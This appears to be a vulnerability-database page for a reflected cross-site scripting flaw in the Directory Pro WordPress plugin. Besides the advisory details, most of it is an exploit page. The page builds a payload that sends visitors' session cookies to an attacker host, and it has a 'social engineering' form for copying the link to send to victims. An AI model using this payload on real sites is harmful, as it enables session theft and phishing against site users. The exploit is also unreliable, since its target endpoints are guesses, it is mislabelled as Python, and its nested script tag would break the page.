CVE-2025-52748

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Directory Pro directory-pro allows Reflected XSS.This issue affects Directory Pro: from n/a through <= 2.5.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Directory Pro <= 2.5.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52748 Reflected XSS PoC for WordPress Directory Pro Plugin -->
<!-- Target: WordPress site with Directory Pro plugin <= 2.5.5 -->
<!-- Attack Type: Reflected XSS -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52748 PoC</title>
</head>
<body>
    <h2>CVE-2025-52748 - Directory Pro Reflected XSS PoC</h2>
    
    <!-- Malicious URL that exploits the XSS vulnerability -->
    <p>Malicious URL:</p>
    <code id="maliciousUrl"></code>
    
    <script>
        // Construct the malicious URL targeting Directory Pro plugin
        // Replace 'TARGET_URL' with the actual WordPress site URL
        const targetUrl = 'TARGET_URL'; // e.g., 'https://example.com'
        
        // XSS payload - can be customized based on the vulnerable parameter
        const xssPayload = '<script>alert("XSS - CVE-2025-52748");document.location="https://attacker.com/steal?cookie="+document.cookie</script>';
        
        // Common vulnerable endpoints in Directory Pro
        const vulnerableEndpoints = [
            '/directory-pro/search/',
            '/directory/',
            '/?s=',
            '/?directory_search=',
            '/?dp_search='
        ];
        
        // Generate malicious URL
        const maliciousUrl = targetUrl + vulnerableEndpoints[0] + '?q=' + encodeURIComponent(xssPayload);
        
        document.getElementById('maliciousUrl').textContent = maliciousUrl;
        
        // Display the link
        document.write('<p><a href="' + maliciousUrl + '" target="_blank">Click to test (in safe environment)</a></p>');
        
        // Alternative: Direct fetch-based PoC
        console.log('XSS Payload:', xssPayload);
        console.log('Full URL:', maliciousUrl);
    </script>
    
    <!-- Social Engineering Component -->
    <p>Social Engineering Attack Vector:</p>
    <form id="attackForm">
        <label>Attacker-controlled link (send to victim):</label><br>
        <input type="text" id="attackUrl" size="80" readonly>
        <button type="button" onclick="copyUrl()">Copy URL</button>
    </form>
    
    <script>
        document.getElementById('attackUrl').value = maliciousUrl;
        
        function copyUrl() {
            const copyText = document.getElementById('attackUrl');
            copyText.select();
            document.execCommand('copy');
            alert('URL copied to clipboard');
        }
    </script>
    
    <!-- Impact Description -->
    <h3>Potential Impact:</h3>
    <ul>
        <li>Session hijacking - steal authentication cookies</li>
        <li>Credential theft - overlay fake login forms</li>
        <li>Malware distribution - inject malicious scripts</li>
        <li>Phishing - redirect to fake pages</li>
        <li>Defacement - modify page content</li>
    </ul>
    
    <h3>Remediation:</h3>
    <p>Update Directory Pro plugin to version 2.5.6 or later</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52748
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52748
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52748/
[4] VulDB https://vuldb.com/cve/CVE-2025-52748
[5] https://patchstack.com/database/Wordpress/Plugin/directory-pro/vulnerability/wordpress-directory-pro-plugin-2-5-5-cross-site-scripting-xss-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

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